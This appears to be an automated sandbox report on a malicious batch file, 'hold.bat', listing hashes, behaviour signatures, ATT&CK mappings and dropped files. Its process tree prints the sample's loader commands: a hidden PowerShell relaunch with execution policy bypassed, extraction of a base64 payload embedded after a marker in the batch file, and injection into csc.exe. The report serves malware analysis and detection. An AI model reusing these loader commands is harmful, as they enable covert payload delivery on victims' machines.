7d36c4cb008a5620bb5093a475f0b9b92db9ead6c4f7e6dacb5d561607cbb659

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 18:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hold.bat
Size 3.3MB
Sample260625-wvvmlsd12v
SHA256 7d36c4cb008a5620bb5093a475f0b9b92db9ead6c4f7e6dacb5d561607cbb659
MD5 8d9c5fbc140475739a1ae8ccbd47f89b
SHA1 ef25058fd36938f16822e1ec6b07ef7e10f44a49
SHA512 0f07d60a9ebf075160207c183fc90732db358fe6ff56a103f947be3a453da5274fb410a511466944eaa945fd966a416d532893b40f08ed52f11d609dd264498e
SSDEEP 24576:OnNGujTPZbv8ngjsjd3t+MaWPdq0ll/aQDuSU6tCOh62kveNKwAluaeOUotcCPUI:al10laWjdDIVtaGtcCpwQ1+OUM
TLSH
T107F5E12B6D8119942721577B3BAFF00A4BBF0CA60BC5BC519BCB5D0A69F170F0A751B8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5788	powershell.exe
4620	powershell.exe
5412	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4620 set thread context of 3972	4620	powershell.exe	97

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5788	powershell.exe
5788	powershell.exe
5412	powershell.exe
5412	powershell.exe
4620	powershell.exe
4620	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeDebugPrivilege	5412	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 5788	3964	cmd.exe	90
PID 5788 wrote to memory of 2728	5788	powershell.exe	91
PID 2728 wrote to memory of 5412	2728	cmd.exe	93
PID 2728 wrote to memory of 4620	2728	cmd.exe	94
PID 4620 wrote to memory of 4576	4620	powershell.exe	95
PID 4576 wrote to memory of 1972	4576	csc.exe	96
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97
PID 4620 wrote to memory of 3972	4620	powershell.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hold.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:_SelfPathRef+$q+$q+' __hidden';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\System32\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\hold.bat"" __hidden
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\hold.bat');$t=[Text.Encoding]::ASCII.GetString($b);$i=$t.LastIndexOf('---BEGIN_PS---');if($i -ge 0){[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\volatile_module_255331822611299.ps1',[Convert]::FromBase64String(($t.Substring($i+14)-replace'[\r\n]','')))}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\volatile_module_255331822611299.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4620
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rbafxffw\rbafxffw.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4576
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES189F.tmp" "c:\Users\Admin\AppData\Local\Temp\rbafxffw\CSC2C2D6596757C4765AD3F423346A447F9.TMP"
        6⤵
        
        PID:1972
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
        5⤵
        
        PID:3972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1fdf80d546a1cbe6e02e78c8dd5047cab2653e911727a8e471ef5f5331bc486a
MD5 d169eacf2558d644d9027ed7a48cdee5
SHA1 8a84ebb3e1959693ca83ada6bd77548d33d3e070
SHA512 3ac2d946ba88874f29f5a097854d1c81d1e0ad69fd1369e5507b331f4995c06d36bec1e7ae5fdb73def06f67df53256744f88df837574831155795e081b8672e
TLSH
T11B215733F3CC8624C89A413610CEAC1537B687DB409FCE6BBB84D558B42F689DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
MD5 8ac3b3d1e522c27c6356583a6fe08ab7
SHA1 843f0de63fe13cc218d2671d5ca98bf1fd8e3dcc
SHA512 7491597d98da352fd86897832f1e3d01e14fec90f54625a275063124a6f419bb053029cf1482e65aae0e3b2769e9d7c6ff30d2e5c6a08412d6e55e0d14dd4408
TLSH
T13E116673F3CC8624DC5A403650CEAD1137B687CB449EDE6B7B84D155B82F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

RES189F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES189F.tmp
Size 1KB
SHA256 4b11af2cecef4262bcd0739209e7b0b73b8ad0146f11d31ef1e11ccb94c7bd26
MD5 782e625b1f6d96d6bb87c02d6bfb19b3
SHA1 7ae39c2f95a3df6c18f2fffe13af0558a818bea3
SHA512 99c36500b9fc8b2e6ab8b82c28d541cf038da61dee3988e70f8c334a371b375b1e5732b754d332b75e0335e26bd0c3d73fffd5d265c61f8f15de1fc97ed5d49d
TLSH
T1BA210204A3E9471FF0B70731A9F6171F9274FD54EFA2A36B884042282C51504EFE0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ucohcfai.5aw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ucohcfai.5aw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

rbafxffw.dll

Path C:\Users\Admin\AppData\Local\Temp\rbafxffw\rbafxffw.dll
Size 5KB
SHA256 a39c239c3fd5c68f967d35ef5cdba8c9755e5bfde677a02d08854c483bab0bc2
MD5 49142a9843948822c4cdf24c12af8c02
SHA1 f6d921f9943b0c92b7a2e5e32d030702fb6af572
SHA512 5023b34aa383cda2ebb8a42629900180b5ec1c756cdccff91172e7029f54fcc91356201cb659161de311b1f27ff2093f8d86559f03e8baa7f8f05ba5931393d7
SSDEEP 48:6nBnjY3k8xLJpXsOVXWZY/Mc8FfxOjvhpzmmIfib1gbmgDngdJUpjByYoB1ulwal:+5YZx9pXsO837YpkrhyYXeK
TLSH
T15BC18511D79D1293F9A7033CADE30B42DB70E8914B7B875B0DD5A12A7CABB741A31760
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

volatile_module_255331822611299.ps1

Path C:\Users\Admin\AppData\Local\Temp\volatile_module_255331822611299.ps1
Size 2.4MB
SHA256 9a80bd52d8462afc0c7febcd6ef4c5d27c9eb29df0f66a63287219722ae8e1d4
MD5 250ccf3681a26b7ac0194927d2d9609f
SHA1 e76c50da95605d6c4f97f630b427bd58835a9760
SHA512 d6af6c357ff457961fe95168a47c248d4264be0e31df466c74013d7ea9c532048079396ac564ad58be47a1ee208b7060e41ccbedd67c565d408ade3bb5ed8edf
SSDEEP 49152:KXO2GWKGvLkcfN5G/Fv/y7f2glLLF9r5i59hNDhQ2qtxE:OhZT1OFv/yPlL5o9dQ2E2
TLSH
T1C7C5CF909C5F833BCB9F8D0550FBFB17A626B7027AD7274AC8B49051CF59A00AD56C8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC2C2D6596757C4765AD3F423346A447F9.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\rbafxffw\CSC2C2D6596757C4765AD3F423346A447F9.TMP
Size 652B
SHA256 d894adef01cda791e3787e550b85a620e5516bc387689c982e9340e84e4c1588
MD5 072830d5facb90547795af11fe34d41c
SHA1 8f87a72ed3f082a5124907b793db65eb8f61b712
SHA512 982cd7f475dfd8000217392eac5016fd62fe7609fd8c1e6dd96d0333327941f3573d2e1023e7bed6075276ac965ab2c8e4e3f38d81f00ff5d1d959635ec8cf53
TLSH
T10EF05E0963F8120EF0F35B30FDF643A391A8BC64DE72A3ED5444032968645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

rbafxffw.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\rbafxffw\rbafxffw.0.cs
Size 3KB
SHA256 9578f1935441fa1f73ff75db335d4a8693ca649925853908d83e6e4b8a3838d7
MD5 e77027a3d1f4e8d99e8aaac444f615a1
SHA1 12d313fa966c5e0c37c30fa4d056f220d3062349
SHA512 44038a7674713e57557a33d9c1da9a3986eb5e720fe4fe7a3a1a11c3fad781fd60f7fda25ca1dfb3ca1831ef9040adb0a99da0ac3180fc605ec059a2d64b0727
TLSH
T1EE71DF3C5346976258761119FA81A1CEE70310732AFF5A2039FD83626F7B109E176B2E
MD5 SHA1 SHA512 TLSH

Submit Download

rbafxffw.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\rbafxffw\rbafxffw.cmdline
Size 369B
SHA256 95d6c8442b3627c67d6b6103317a4f04e4dde1bfea8e15e32b7f2cf56e4c5223
MD5 18d77e3a7de195f4cab5365b34f7ed6a
SHA1 798347f9b9ff29c6fe184451ef785918e428c845
SHA512 2ad44afb47f79b6e15d4c7e5217bb20d33a9692f254d63203033b8386a61d0ea746795ed55972888b590d71fc7324c8ceb20e9f937604d138245c40b0e055409
TLSH
T1FCE0C02A7357C27DD2FD1007296ACCACC2720B8B2BC07F849445C41DD4A700B37D17A1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3972-42-0x0000000140000000-0x00000001401F6000-memory.dmp

Download

memory/4620-41-0x0000027F9AB20000-0x0000027F9AB28000-memory.dmp

Download

memory/5412-19-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5412-24-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5412-16-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5412-17-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5412-20-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5412-21-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-10-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-13-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-12-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-0-0x00007FFD81AFF000-0x00007FFD81B00000-memory.dmp

Download

memory/5788-9-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-8-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-7-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-6-0x000002436F3C0000-0x000002436F3E2000-memory.dmp

Download

memory/5788-5-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-2-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download

memory/5788-1-0x00007FFD81970000-0x00007FFD82314000-memory.dmp

Download